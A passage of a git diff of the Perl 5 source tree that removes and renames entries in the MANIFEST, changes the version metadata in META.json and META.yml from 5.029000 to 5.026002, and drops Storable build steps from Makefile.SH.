Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5023007 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5023008 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5023009 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5024000 Devel::PPPort todo file -dist/Devel-PPPort/PPPort.xs Devel::PPPort dummy PPPort.xs -dist/Devel-PPPort/ppport_h.PL Devel::PPPort ppport.h writer -dist/Devel-PPPort/PPPort_pm.PL Devel::PPPort PPPort.pm writer -dist/Devel-PPPort/PPPort_xs.PL Devel::PPPort RealPPPort.xs writer -dist/Devel-PPPort/soak Devel::PPPort Test Harness to run under various Perls -dist/Devel-PPPort/t/call.t Devel::PPPort test file -dist/Devel-PPPort/t/cop.t Devel::PPPort test file -dist/Devel-PPPort/t/exception.t Devel::PPPort test file -dist/Devel-PPPort/t/format.t Devel::PPPort test file -dist/Devel-PPPort/t/grok.t Devel::PPPort test file -dist/Devel-PPPort/t/gv.t Devel::PPPort test file -dist/Devel-PPPort/t/HvNAME.t Devel::PPPort test file -dist/Devel-PPPort/t/limits.t Devel::PPPort test file -dist/Devel-PPPort/t/magic.t Devel::PPPort test file -dist/Devel-PPPort/t/memory.t Devel::PPPort test file -dist/Devel-PPPort/t/mess.t Devel::PPPort test file -dist/Devel-PPPort/t/misc.t Devel::PPPort test file -dist/Devel-PPPort/t/mPUSH.t Devel::PPPort test file -dist/Devel-PPPort/t/MY_CXT.t Devel::PPPort test file -dist/Devel-PPPort/t/newCONSTSUB.t Devel::PPPort test file -dist/Devel-PPPort/t/newRV.t Devel::PPPort test file -dist/Devel-PPPort/t/newSV_type.t Devel::PPPort test file -dist/Devel-PPPort/t/newSVpv.t Devel::PPPort test file -dist/Devel-PPPort/t/podtest.t Devel::PPPort test file -dist/Devel-PPPort/t/ppphtest.t Devel::PPPort test file -dist/Devel-PPPort/t/pv_tools.t Devel::PPPort test file -dist/Devel-PPPort/t/pvs.t Devel::PPPort test file -dist/Devel-PPPort/t/shared_pv.t Devel::PPPort test file -dist/Devel-PPPort/t/snprintf.t Devel::PPPort test file -dist/Devel-PPPort/t/sprintf.t Devel::PPPort test file -dist/Devel-PPPort/t/strlfuncs.t Devel::PPPort test file -dist/Devel-PPPort/t/Sv_set.t Devel::PPPort test file -dist/Devel-PPPort/t/sv_xpvf.t Devel::PPPort test file -dist/Devel-PPPort/t/SvPV.t Devel::PPPort test file -dist/Devel-PPPort/t/SvREFCNT.t Devel::PPPort test file -dist/Devel-PPPort/t/testutil.pl Devel::PPPort test utilities -dist/Devel-PPPort/t/threads.t Devel::PPPort test file -dist/Devel-PPPort/t/uv.t Devel::PPPort test file -dist/Devel-PPPort/t/variables.t Devel::PPPort test file -dist/Devel-PPPort/t/warn.t Devel::PPPort test file -dist/Devel-PPPort/typemap Devel::PPPort Typemap dist/Devel-SelfStubber/lib/Devel/SelfStubber.pm Generate stubs for SelfLoader.pm dist/Devel-SelfStubber/t/Devel-SelfStubber.t See if Devel::SelfStubber works dist/Dumpvalue/lib/Dumpvalue.pm Screen dump of perl values @@ -3533,9 +3431,6 @@ dist/I18N-LangTags/t/55_supers_strict.t See whether I18N::LangTags works dist/I18N-LangTags/t/80_all_env.t See whether I18N::LangTags works dist/if/Changes if perl module change log dist/if/if.pm For "use if" -dist/if/MANIFEST MANIFEST for if.pm -dist/if/META.json META.json for if.pm -dist/if/META.yml META.json for if.pm dist/if/t/if.t Tests for "use if" dist/IO/ChangeLog IO perl module change log dist/IO/hints/sco.pl Hint for IO for named architecture @@ -3608,6 +3503,7 @@ dist/Module-CoreList/corelist The corelist command-line utility dist/Module-CoreList/identify-dependencies A usage example for Module::CoreList dist/Module-CoreList/lib/Module/CoreList.pm Module::CoreList dist/Module-CoreList/lib/Module/CoreList.pod Module::CoreList +dist/Module-CoreList/lib/Module/CoreList/TieHashDelta.pm Module::CoreList guts dist/Module-CoreList/lib/Module/CoreList/Utils.pm Module::CoreList guts dist/Module-CoreList/Makefile.PL Module::CoreList dist/Module-CoreList/MANIFEST Module::CoreList @@ -3616,7 +3512,6 @@ dist/Module-CoreList/t/corelist.t Module::CoreList tests dist/Module-CoreList/t/deprecated.t Module::CoreList tests dist/Module-CoreList/t/find_modules.t Module::CoreList tests dist/Module-CoreList/t/is_core.t Module::CoreList tests -dist/Module-CoreList/t/maintainer.t Module::CoreList tests dist/Module-CoreList/t/pod.t Module::CoreList tests dist/Module-CoreList/t/utils.t Module::CoreList tests dist/Net-Ping/Changes Net::Ping @@ -3653,13 +3548,9 @@ dist/PathTools/lib/File/Spec/Unix.pm portable operations on Unix file names dist/PathTools/lib/File/Spec/VMS.pm portable operations on VMS file names dist/PathTools/lib/File/Spec/Win32.pm portable operations on Win32 and NetWare file names dist/PathTools/Makefile.PL makefile writer for Cwd -dist/PathTools/MANIFEST MANIFEST for PathTools -dist/PathTools/META.json META.json for PathTools -dist/PathTools/META.yml META.yml for PathTools dist/PathTools/t/abs2rel.t See if File::Spec->abs2rel works dist/PathTools/t/crossplatform.t See if File::Spec works crossplatform dist/PathTools/t/cwd.t See if Cwd works -dist/PathTools/t/cwd_enoent.t See if getcwd errors correctly dist/PathTools/t/Functions.t See if File::Spec::Functions works dist/PathTools/t/rel2abs2rel.t See if File::Spec->rel2abs/abs2rel works dist/PathTools/t/Spec.t See if File::Spec works @@ -3695,7 +3586,6 @@ dist/SelfLoader/lib/SelfLoader.pm Load functions only on demand dist/SelfLoader/t/01SelfLoader.t See if SelfLoader works dist/SelfLoader/t/02SelfLoader-buggy.t See if SelfLoader works dist/SelfLoader/t/03taint.t See if SelfLoader works under taint -dist/Storable/__Storable__.pm Template to generate Storable.pm dist/Storable/ChangeLog Storable extension dist/Storable/hints/gnukfreebsd.pl Hint for Storable for named architecture dist/Storable/hints/gnuknetbsd.pl Hint for Storable for named architecture @@ -3703,9 +3593,8 @@ dist/Storable/hints/hpux.pl Hint for Storable for named architecture dist/Storable/hints/linux.pl Hint for Storable for named architecture dist/Storable/Makefile.PL Storable extension dist/Storable/README Storable extension -dist/Storable/stacksize compute stack sizes +dist/Storable/Storable.pm Storable extension dist/Storable/Storable.xs Storable extension -dist/Storable/Storable.pm.PL perl script to generate Storable.pm from template dist/Storable/t/attach.t Check STORABLE_attach doesn't create objects unnecessarily dist/Storable/t/attach_errors.t Trigger and test STORABLE_attach errors dist/Storable/t/attach_singleton.t Test STORABLE_attach for the Singleton pattern @@ -3716,20 +3605,15 @@ dist/Storable/t/code.t See if Storable works dist/Storable/t/compat01.t See if Storable works dist/Storable/t/compat06.t See if Storable works dist/Storable/t/croak.t See if Storable works -dist/Storable/t/CVE-2015-1592.inc See if Storable works -dist/Storable/t/CVE-2015-1592.t See if Storable works dist/Storable/t/dclone.t See if Storable works dist/Storable/t/destroy.t Test Storable in global destructon dist/Storable/t/downgrade.t See if Storable works dist/Storable/t/file_magic.t See if file_magic function works -dist/Storable/t/flags.t See if Storable works dist/Storable/t/forgive.t See if Storable works dist/Storable/t/freeze.t See if Storable works dist/Storable/t/HAS_ATTACH.pm For auto-requiring of modules for STORABLE_attach dist/Storable/t/HAS_HOOK.pm For auto-requiring of modules for STORABLE_thaw dist/Storable/t/HAS_OVERLOAD.pm For auto-requiring of mdoules for overload -dist/Storable/t/huge.t See how Storable handles huge data -dist/Storable/t/hugeids.t See how Storable handles huge object ids dist/Storable/t/integer.t See if Storable works dist/Storable/t/interwork56.t Test compatibility kludge for 64bit data under 5.6.x dist/Storable/t/just_plain_nasty.t See if Storable works @@ -3741,7 +3625,6 @@ dist/Storable/t/make_overload.pl Make test data for overload.t dist/Storable/t/malice.t See if Storable copes with corrupt files dist/Storable/t/overload.t See if Storable works dist/Storable/t/recurse.t See if Storable works -dist/Storable/t/regexp.t See if Storable works with regexps dist/Storable/t/restrict.t See if Storable works dist/Storable/t/retrieve.t See if Storable works dist/Storable/t/robust.t See if it survives mangled %INC @@ -3753,7 +3636,6 @@ dist/Storable/t/threads.t Does Storable work with threads? dist/Storable/t/tied.t See if Storable works dist/Storable/t/tied_hook.t See if Storable works dist/Storable/t/tied_items.t See if Storable works -dist/Storable/t/tied_reify.t See if Storable works dist/Storable/t/tied_store.t See if Storable works dist/Storable/t/utf8.t See if Storable works dist/Storable/t/utf8hash.t See if Storable works @@ -3823,7 +3705,6 @@ dist/threads/t/stress_cv.t Test with multiple threads, coderef cv argument. dist/threads/t/stress_re.t Test with multiple threads, string cv argument and regexes. dist/threads/t/stress_string.t Test with multiple threads, string cv argument. dist/threads/t/thread.t General ithread tests from thr5005 -dist/threads/t/unique.t Test unique attribute with threads dist/threads/threads.xs ithreads dist/threads-shared/hints/linux.pl thread shared variables dist/threads-shared/lib/threads/shared.pm thread shared variables @@ -3915,7 +3796,6 @@ dist/Time-HiRes/t/usleep.t Test for Time::HiRes dist/Time-HiRes/t/utime.t Test for Time::HiRes dist/Time-HiRes/t/Watchdog.pm Test for Time::HiRes dist/Time-HiRes/typemap Time::HiRes extension -dist/Unicode-Normalize/Changes Unicode::Normalize dist/Unicode-Normalize/Makefile.PL Unicode::Normalize dist/Unicode-Normalize/mkheader Unicode::Normalize dist/Unicode-Normalize/Normalize.pm Unicode::Normalize @@ -4012,7 +3892,6 @@ ext/B/t/optree_varinit.t my,our,local var init optimization ext/B/t/OptreeCheck.pm optree comparison tool ext/B/t/pragma.t See if user pragmas work. ext/B/t/showlex.t See if B::ShowLex works -ext/B/t/strict.t See if B works with strict and warnings. ext/B/t/sv_stash.t See if SvSTASH() works ext/B/t/terse.t See if B::Terse works ext/B/t/walkoptree.t See if B::walkoptree (and friends) work @@ -4073,7 +3952,6 @@ ext/File-Glob/t/basic.t See if File::Glob works ext/File-Glob/t/case.t See if File::Glob works ext/File-Glob/t/global.t See if File::Glob works ext/File-Glob/t/rt114984.t See if File::Glob works -ext/File-Glob/t/rt131211.t See if File::Glob works ext/File-Glob/t/taint.t See if File::Glob works ext/File-Glob/t/threads.t See if File::Glob + threads works ext/File-Glob/TODO File::Glob extension todo list @@ -4263,6 +4141,7 @@ ext/re/t/regop.t test RE optimizations by scraping debug output ext/re/t/strict.t see if re 'strict' subpragma works ext/SDBM_File/biblio SDBM kit ext/SDBM_File/CHANGES SDBM kit +ext/SDBM_File/COMPARE SDBM kit ext/SDBM_File/dba.c SDBM kit ext/SDBM_File/dbd.c SDBM kit ext/SDBM_File/dbe.1 SDBM kit @@ -4270,7 +4149,9 @@ ext/SDBM_File/dbe.c SDBM kit ext/SDBM_File/dbu.c SDBM kit ext/SDBM_File/grind SDBM kit ext/SDBM_File/hash.c SDBM kit +ext/SDBM_File/linux.patches SDBM kit ext/SDBM_File/Makefile.PL SDBM extension makefile writer +ext/SDBM_File/makefile.sdbm SDBM kit ext/SDBM_File/pair.c SDBM kit ext/SDBM_File/pair.h SDBM kit ext/SDBM_File/README SDBM kit @@ -4346,7 +4227,6 @@ ext/XS-APItest/t/eval-filter.t Simple source filter/eval test ext/XS-APItest/t/exception.t XS::APItest extension ext/XS-APItest/t/extend.t test EXTEND() macro ext/XS-APItest/t/fetch_pad_names.t Tests for UTF8 names in pad -ext/XS-APItest/t/get.t test get_sv et al. ext/XS-APItest/t/gotosub.t XS::APItest: tests goto &xsub and hints ext/XS-APItest/t/grok.t XS::APItest: tests for grok* functions ext/XS-APItest/t/gv_autoload4.t XS::APItest: tests for gv_autoload4() and variants @@ -4355,22 +4235,21 @@ ext/XS-APItest/t/gv_fetchmeth.t XS::APItest: tests for gv_fetchmeth() and varia ext/XS-APItest/t/gv_fetchmeth_autoload.t XS::APItest: tests for gv_fetchmeth_autoload() and variants ext/XS-APItest/t/gv_fetchmethod_flags.t XS::APItest: tests for gv_fetchmethod_flags() and variants ext/XS-APItest/t/gv_init.t XS::APItest: tests for gv_init and variants -ext/XS-APItest/t/handy00.t XS::APItest: tests for handy.h -ext/XS-APItest/t/handy01.t XS::APItest: tests for handy.h -ext/XS-APItest/t/handy02.t XS::APItest: tests for handy.h -ext/XS-APItest/t/handy03.t XS::APItest: tests for handy.h -ext/XS-APItest/t/handy04.t XS::APItest: tests for handy.h -ext/XS-APItest/t/handy05.t XS::APItest: tests for handy.h -ext/XS-APItest/t/handy06.t XS::APItest: tests for handy.h -ext/XS-APItest/t/handy07.t XS::APItest: tests for handy.h -ext/XS-APItest/t/handy08.t XS::APItest: tests for handy.h -ext/XS-APItest/t/handy09.t XS::APItest: tests for handy.h +ext/XS-APItest/t/handy0.t XS::APItest: tests for handy.h +ext/XS-APItest/t/handy1.t XS::APItest: tests for handy.h +ext/XS-APItest/t/handy2.t XS::APItest: tests for handy.h +ext/XS-APItest/t/handy3.t XS::APItest: tests for handy.h +ext/XS-APItest/t/handy4.t XS::APItest: tests for handy.h +ext/XS-APItest/t/handy5.t XS::APItest: tests for handy.h +ext/XS-APItest/t/handy6.t XS::APItest: tests for handy.h +ext/XS-APItest/t/handy7.t XS::APItest: tests for handy.h +ext/XS-APItest/t/handy8.t XS::APItest: tests for handy.h +ext/XS-APItest/t/handy9.t XS::APItest: tests for handy.h ext/XS-APItest/t/handy_base.pl XS::APItest: tests for handy.h ext/XS-APItest/t/hash.t XS::APItest: tests for hash related APIs ext/XS-APItest/t/join_with_space.t test op_convert_list ext/XS-APItest/t/keyword_multiline.t test keyword plugin parsing across lines ext/XS-APItest/t/keyword_plugin.t test keyword plugin mechanism -ext/XS-APItest/t/keyword_plugin_threads.t test keyword plugin loading from multiple threads ext/XS-APItest/t/labelconst.aux auxiliary file for label test ext/XS-APItest/t/labelconst.t test recursive descent label parsing ext/XS-APItest/t/labelconst_utf8.aux auxiliary file for label test in UTF-8 @@ -4427,18 +4306,18 @@ ext/XS-APItest/t/temp_lv_sub.t XS::APItest: tests for lvalue subs returning temp ext/XS-APItest/t/underscore_length.t Test find_rundefsv() ext/XS-APItest/t/utf16_to_utf8.t Test behaviour of utf16_to_utf8{,reversed} ext/XS-APItest/t/utf8.t Tests for code in utf8.c +ext/XS-APItest/t/utf8_malformed.t Tests for code in utf8.c ext/XS-APItest/t/utf8_setup.pl Tests for code in utf8.c -ext/XS-APItest/t/utf8_to_bytes.t Tests for code in utf8.c -ext/XS-APItest/t/utf8_warn00.t Tests for code in utf8.c -ext/XS-APItest/t/utf8_warn01.t Tests for code in utf8.c -ext/XS-APItest/t/utf8_warn02.t Tests for code in utf8.c -ext/XS-APItest/t/utf8_warn03.t Tests for code in utf8.c -ext/XS-APItest/t/utf8_warn04.t Tests for code in utf8.c -ext/XS-APItest/t/utf8_warn05.t Tests for code in utf8.c -ext/XS-APItest/t/utf8_warn06.t Tests for code in utf8.c -ext/XS-APItest/t/utf8_warn07.t Tests for code in utf8.c -ext/XS-APItest/t/utf8_warn08.t Tests for code in utf8.c -ext/XS-APItest/t/utf8_warn09.t Tests for code in utf8.c +ext/XS-APItest/t/utf8_warn0.t Tests for code in utf8.c +ext/XS-APItest/t/utf8_warn1.t Tests for code in utf8.c +ext/XS-APItest/t/utf8_warn2.t Tests for code in utf8.c +ext/XS-APItest/t/utf8_warn3.t Tests for code in utf8.c +ext/XS-APItest/t/utf8_warn4.t Tests for code in utf8.c +ext/XS-APItest/t/utf8_warn5.t Tests for code in utf8.c +ext/XS-APItest/t/utf8_warn6.t Tests for code in utf8.c +ext/XS-APItest/t/utf8_warn7.t Tests for code in utf8.c +ext/XS-APItest/t/utf8_warn8.t Tests for code in utf8.c +ext/XS-APItest/t/utf8_warn9.t Tests for code in utf8.c ext/XS-APItest/t/utf8_warn_base.pl Tests for code in utf8.c ext/XS-APItest/t/weaken.t XS::APItest: tests for sv_rvweaken() and sv_get_backrefs() ext/XS-APItest/t/whichsig.t XS::APItest: tests for whichsig() and variants @@ -4507,6 +4386,7 @@ hints/esix4.sh Hints for named architecture hints/fps.sh Hints for named architecture hints/freebsd.sh Hints for named architecture hints/freemint.sh Hints for named architecture +hints/genix.sh Hints for named architecture hints/gnu.sh Hints for named architecture hints/gnukfreebsd.sh Hints for named architecture hints/gnuknetbsd.sh Hints for named architecture @@ -4539,6 +4419,7 @@ hints/os2.sh Hints for named architecture hints/os390.sh Hints for named architecture hints/os400.sh Hints for named architecture hints/posix-bc.sh Hints for named architecture +hints/powerux.sh Hints for named architecture hints/qnx.sh Hints for named architecture hints/README.hints Notes about hints hints/riscos.sh Hints for named architecture @@ -4568,7 +4449,6 @@ hints/vos.sh Hints for named architecture hv.c Hash value code hv.h Hash value header hv_func.h Hash value static inline function header -hv_macro.h Macros used by hv_func.h inline.h Static inline functions INSTALL Detailed installation instructions install_lib.pl functions shared between install* scripts @@ -4700,7 +4580,6 @@ lib/perl5db/t/lvalue-bug Tests for the Perl debugger lib/perl5db/t/MyModule.pm Tests for the Perl debugger lib/perl5db/t/proxy-constants Tests for the Perl debugger lib/perl5db/t/rt-104168 Tests for the Perl debugger -lib/perl5db/t/rt-120174 Tests for the Perl debugger lib/perl5db/t/rt-121509-restart-after-chdir Tests for the Perl debugger lib/perl5db/t/rt-61222 Tests for the Perl debugger lib/perl5db/t/rt-66110 Tests for the Perl debugger @@ -4820,7 +4699,6 @@ lib/unicore/SpecialCasing.txt Unicode character database lib/unicore/StandardizedVariants.txt Unicode character database lib/unicore/UnicodeData.txt Unicode character database lib/unicore/version The version of the Unicode -lib/unicore/VerticalOrientation.txt Unicode character database lib/UNIVERSAL.pm Base class for ALL classes lib/User/grent.pm By-name interface to Perl's builtin getgr* lib/User/grent.t See if User::grwent works @@ -4986,7 +4864,6 @@ os2/perlrexx.c Support perl interpreter embedded in REXX os2/perlrexx.cmd Test perl interpreter embedded in REXX overload.h generated overload enum (public) overload.inc generated overload name table (implementation) -PACKAGING notes and best practice for packaging perl 5 packsizetables.inc The generated packprops array used in pp_pack.c pad.c Scratchpad functions pad.h Scratchpad headers @@ -4994,8 +4871,6 @@ parser.h parser object header patchlevel.h The current patch level of perl perl.c main() perl.h Global declarations -perl_inc_macro.h macro used to set \@INC using S_incpush_use_sep -perl_langinfo.h Perl's version of perlapi.c Perl API functions perlapi.h Perl API function declarations perldtrace.d D script for Perl probes @@ -5064,11 +4939,8 @@ pod/perl5240delta.pod Perl changes in version 5.24.0 pod/perl5241delta.pod Perl changes in version 5.24.1 pod/perl5242delta.pod Perl changes in version 5.24.2 pod/perl5243delta.pod Perl changes in version 5.24.3 -pod/perl5244delta.pod Perl changes in version 5.24.4 pod/perl5260delta.pod Perl changes in version 5.26.0 pod/perl5261delta.pod Perl changes in version 5.26.1 -pod/perl5262delta.pod Perl changes in version 5.26.2 -pod/perl5280delta.pod Perl changes in version 5.28.0 pod/perl561delta.pod Perl changes in version 5.6.1 pod/perl56delta.pod Perl changes in version 5.6 pod/perl581delta.pod Perl changes in version 5.8.1 @@ -5227,7 +5099,6 @@ Porting/makerel Release making utility Porting/manicheck Check against MANIFEST Porting/manifest_lib.pl Library for checking and sorting the MANIFEST Porting/manisort Sort the MANIFEST -Porting/mksample Generate Porting/config_H and Porting/config.sh Porting/new-perldelta.pl Generate a new perldelta Porting/newtests-perldelta.pl Generate Perldelta stub for newly added tests Porting/perldelta_template.pod Template for creating new perldelta.pod files @@ -5315,7 +5186,6 @@ regen/mg_vtable.pl generate mg_vtable.h regen/miniperlmain.pl generate miniperlmain.c regen/mk_invlists.pl Generates charclass_invlists.h regen/mk_PL_charclass.pl Populate the PL_charclass table -regen/mph.pl Generate perfect hashes regen/op_private Definitions of bits in an OP's op_private field regen/opcode.pl Opcode header generator regen/opcodes Opcode data @@ -5334,10 +5204,8 @@ regexp.h Public declarations for the above regnodes.h Description of nodes of RE engine run.c The interpreter loop runtests.SH A script that generates runtests -sbox32_hash.h SBox hash code (32 Bit SBOX based hash function) scope.c Scope entry and exit code scope.h Scope entry and exit header -stadtx_hash.h StadtX hash code (64 Bit fast hash function) sv.c Scalar value code sv.h Scalar value header symbian/bld.inf Symbian sample app build config @@ -5400,7 +5268,6 @@ t/base/term.t See if various terms work t/base/translate.t See if character set translation works t/base/while.t See if while work t/benchmark/rt26188-speed-up-keys-on-empty-hash.t Benchmark if keys on empty hashes is fast enough -t/bigmem/hash.t Check hashing too large strings throws an exception t/bigmem/index.t Check that index() handles large offsets t/bigmem/pos.t Check that pos() handles large offsets t/bigmem/read.t Check read() handles large offsets @@ -5417,7 +5284,6 @@ t/comp/bproto.t See if builtins conform to their prototypes t/comp/cmdopt.t See if command optimization works t/comp/colon.t See if colons are parsed correctly t/comp/decl.t See if declarations work -t/comp/filter_exception.t See if $@ survives source filters t/comp/final_line_num.t See if line numbers are correct at EOF t/comp/fold.t See if constant folding works t/comp/form_scope.t See if format scoping works @@ -5476,7 +5342,6 @@ t/io/sem.t See if SysV semaphores work t/io/semctl.t See if SysV semaphore semctl works t/io/shm.t See if SysV shared memory works t/io/socket.t See if socket functions work -t/io/socketpair.t See if socketpair function works t/io/tell.t See if file seeking works t/io/through.t See if pipe passes data intact t/io/utf8.t See if file seeking works @@ -5493,7 +5358,6 @@ t/lib/croak/pp Test croak calls from pp.c t/lib/croak/pp_ctl Test croak calls from pp_ctl.c t/lib/croak/pp_hot Test croak calls from pp_hot.c t/lib/croak/pp_sys Test croak calls from pp_sys.c -t/lib/croak/regcomp Test croak calls from regcomp.c t/lib/croak/toke Test croak calls from toke.c t/lib/croak/toke_l1 Test croak calls from toke.c; file is not UTF-8 encoded t/lib/cygwin.t Builtin cygwin function tests @@ -5805,9 +5669,7 @@ t/op/sprintf2.t See if sprintf works t/op/srand.t See if srand works t/op/sselect.t See if 4 argument select works t/op/stash.t See if %:: stashes work -t/op/stash_parse_gv.t See if parse_gv_stash_name works t/op/stat.t See if stat works -t/op/stat_errors.t See if stat and file tests handle threshold errors t/op/state.t See if state variables work t/op/study.t See if study works t/op/studytied.t See if study works with tied scalars @@ -5863,16 +5725,7 @@ t/perf/taint.t See if optimisations are keeping things fast (taint issues) t/perl.supp Perl valgrind suppressions t/porting/args_assert.t Check that all PERL_ARGS_ASSERT* macros are used t/porting/authors.t Check that all authors have been acknowledged -t/porting/bench.t Check Porting/bench.pl runs ok -t/porting/bench/badhash a test file for t/porting/bench.t -t/porting/bench/badname a test file for t/porting/bench.t -t/porting/bench/badversion.json a test file for t/porting/bench.t -t/porting/bench/callsub.json a test file for t/porting/bench.t -t/porting/bench/callsub2.json a test file for t/porting/bench.t -t/porting/bench/oddentry a test file for t/porting/bench.t -t/porting/bench/ret0 a test file for t/porting/bench.t -t/porting/bench/synerr a test file for t/porting/bench.t -t/porting/bench_selftest.t run Porting/bench.pl's selftest facility +t/porting/bench.t Check that Porting/bench.pl is okay t/porting/bincompat.t Check that {non_,}bincompat_options are ordered t/porting/checkcase.t Check whether we are case-insensitive-fs-friendly t/porting/checkcfgvar.t Check that all config.sh-like files are good @@ -5902,7 +5755,6 @@ t/porting/regen.t Check that regen.pl doesn't need running t/porting/ss_dup.t Check that sv.c:ss_dup handles everything t/porting/test_bootstrap.t Test that the instructions for test bootstrapping aren't accidentally overlooked. t/porting/utils.t Check that utility scripts still compile -t/re/alpha_assertions.t See if things like '(*postive_lookahed:...) work properly t/re/anyof.t See if bracketed char classes [...] compile properly t/re/charset.t See if regex modifiers like /d, /u work properly t/re/fold_grind.t See if case folding works properly @@ -5954,7 +5806,6 @@ t/re/regexp_unicode_prop.t See if unicode properties work in regular expressions t/re/regexp_unicode_prop_thr.t See if unicode properties work in regular expressions as expected under threads t/re/rt122747.t Test rt122747 assert faile (requires DEBUGGING) t/re/rxcode.t See if /(?{ code })/ works -t/re/script_run.t See if script runs works t/re/speed.t See if optimisations are keeping things fast t/re/speed_thr.t ditto under threads t/re/subst.t See if substitution works @@ -6022,6 +5873,7 @@ t/uni/fold.t See if Unicode folding works t/uni/goto.t See if Unicode goto &sub works t/uni/greek.t See if Unicode in greek works t/uni/gv.t See if Unicode GVs work. +t/uni/heavy.t See if utf8_heavy.pl uses perl that depends on it t/uni/labels.t See if Unicode labels work t/uni/latin2.t See if Unicode in latin2 works t/uni/lex_utf8.t See if Unicode in lexer works @@ -6059,7 +5911,6 @@ toke.c The tokener uconfig.h Configuration header for microperl uconfig.sh Configuration script for microperl uconfig64.sh Configuration script for microperl for LP64 -uni_keywords.h Map unicode property names to numbers unicode_constants.h compile-time macros for Unicode code points universal.c The default UNIVERSAL package methods unixish.h Defines that are assumed on Unix @@ -6174,4 +6025,3 @@ win32/wince.h WinCE port win32/wincesck.c WinCE port write_buildcustomize.pl Generate lib/buildcustomize.pl XSUB.h Include file for extension subroutines -zaphod32_hash.h Zaphod32 hash code (32 bit fast hash function) diff --git a/META.json b/META.json index 791f42cb0ef1..58d7b2908581 100644 --- a/META.json +++ b/META.json @@ -21,7 +21,6 @@ "dist/Carp", "dist/constant", "dist/Data-Dumper", - "dist/Devel-PPPort", "dist/Devel-SelfStubber", "dist/Dumpvalue", "dist/encoding-warnings", @@ -114,7 +113,7 @@ "vxs.inc" ] }, - "release_status" : "unstable", + "release_status" : "stable", "resources" : { "bugtracker" : { "web" : "https://rt.perl.org/" @@ -127,6 +126,6 @@ "url" : "http://perl5.git.perl.org/" } }, - "version" : "5.029000", - "x_serialization_backend" : "JSON::PP version 2.97001" + "version" : "5.026002", + "x_serialization_backend" : "JSON::PP version 2.27400_02" } diff --git a/META.yml b/META.yml index 55df4a8af9d6..a1e8b4e178f6 100644 --- a/META.yml +++ b/META.yml @@ -19,7 +19,6 @@ no_index: - dist/Carp - dist/constant - dist/Data-Dumper - - dist/Devel-PPPort - dist/Devel-SelfStubber - dist/Dumpvalue - dist/encoding-warnings @@ -114,5 +113,5 @@ resources: homepage: http://www.perl.org/ license: http://dev.perl.org/licenses/ repository: http://perl5.git.perl.org/ -version: '5.029000' +version: '5.026002' x_serialization_backend: 'CPAN::Meta::YAML version 0.018' diff --git a/Makefile.SH b/Makefile.SH index df1d2140e9d1..260d04e0c049 100755 --- a/Makefile.SH +++ b/Makefile.SH @@ -176,15 +176,11 @@ esac : is Cwd static or dynamic static_cwd='define' -storable_limit_dep='' -storable_type='' list_util_dep='$(PERL_EXE)' for f in $dynamic_ext; do case $f in Cwd) static_cwd='undef' ;; - List/Util) list_util_dep=lib/auto/List/Util/Util.$dlext ;; - Storable) storable_limit_dep=lib/auto/Storable/Storable.$dlext - storable_type='dynamic' ;; + List/Util) list_util_dep=lib/auto/List/Util/Util.$dlext esac done @@ -221,7 +217,6 @@ for f in $static_ext; do $this_target: lib/auto/List/Util/Util\$(LIB_EXT)" ;; Unicode/Normalize) extra_dep="$extra_dep $this_target: uni.data" ;; - Storable) storable_type='static' ;; esac done @@ -575,7 +570,7 @@ esac $spitshell >>$Makefile <<'!NO!SUBS!' -perltoc_pod_prereqs = extra.pods pod/perl5290delta.pod pod/perlapi.pod pod/perlintern.pod pod/perlmodlib.pod pod/perluniprops.pod +perltoc_pod_prereqs = extra.pods pod/perl5262delta.pod pod/perlapi.pod pod/perlintern.pod pod/perlmodlib.pod pod/perluniprops.pod generated_pods = pod/perltoc.pod $(perltoc_pod_prereqs) generated_headers = uudmap.h bitcount.h mg_data.h @@ -623,7 +618,7 @@ lintflags = \ @echo `$(CCCMDSRC)` -S $*.c @`$(CCCMDSRC)` -S $*.c -all: $(FIRSTMAKEFILE) $(MINIPERL_EXE) $(generated_pods) $(private) $(unidatafiles) $(public) $(dynamic_ext) $(nonxs_ext) extras.make $(MANIFEST_SRT) common_build +all: $(FIRSTMAKEFILE) $(MINIPERL_EXE) $(generated_pods) $(private) $(unidatafiles) $(public) $(dynamic_ext) $(nonxs_ext) extras.make $(MANIFEST_SRT) @echo " "; @echo " Everything is up to date. Type '$(MAKE) test' to run test suite." @@ -1095,7 +1090,7 @@ esac $spitshell >>$Makefile <<'!NO!SUBS!' -.PHONY: preplibrary common_build +.PHONY: preplibrary preplibrary: $(MINIPERL_EXE) $(CONFIGPM) $(PREPLIBRARY_LIBPERL) $(CONFIGPM_FROM_CONFIG_SH): $(CONFIGPOD) @@ -1114,7 +1109,7 @@ uni.data: $(MINIPERL_EXE) $(CONFIGPM) lib/unicore/mktables $(nonxs_ext) # $(PERL_EXE) and ext because pod_lib.pl needs Digest::MD5 # But also this ensures that all extensions are built before we try to scan # them, which picks up Devel::PPPort's documentation. -pod/perltoc.pod: $(perltoc_pod_prereqs) $(PERL_EXE) $(ext) pod/buildtoc +pod/perltoc.pod: $(perltoc_pod_prereqs) $(PERL_EXE) $(ext) pod/buildtoc $(RUN_PERL) -f pod/buildtoc -q pod/perlapi.pod: pod/perlintern.pod @@ -1125,9 +1120,9 @@ pod/perlintern.pod: $(MINIPERL_EXE) autodoc.pl embed.fnc pod/perlmodlib.pod: $(MINIPERL_EXE) pod/perlmodlib.PL MANIFEST $(MINIPERL) pod/perlmodlib.PL -q -pod/perl5290delta.pod: pod/perldelta.pod - $(RMS) pod/perl5290delta.pod - $(LNS) perldelta.pod pod/perl5290delta.pod +pod/perl5262delta.pod: pod/perldelta.pod + $(RMS) pod/perl5262delta.pod + $(LNS) perldelta.pod pod/perl5262delta.pod extra.pods: $(MINIPERL_EXE) -@test ! -f extra.pods || rm -f `cat extra.pods` @@ -1158,25 +1153,6 @@ no_install no-install: install-notify install: install-all !NO!SUBS! -if test "$storable_type" != "" ; then - -case "$static_cwd" in -undef) storable_limit_dep="$storable_limit_dep lib/auto/Cwd/Cwd.$dlext" ;; -esac - -$spitshell >>$Makefile <>$Makefile <<'!NO!SUBS!' install.perl: $(INSTALL_DEPENDENCE) installperl $(HOST_PERL) installperl --destdir=$(DESTDIR) $(INSTALLFLAGS) $(STRIPFLAGS) -@test ! -s extras.lst || $(MAKE) extras.install + +install.man: all installman + $(HOST_PERL) installman --destdir=$(DESTDIR) $(INSTALLFLAGS) + +# XXX Experimental. Hardwired values, but useful for testing. +# Eventually 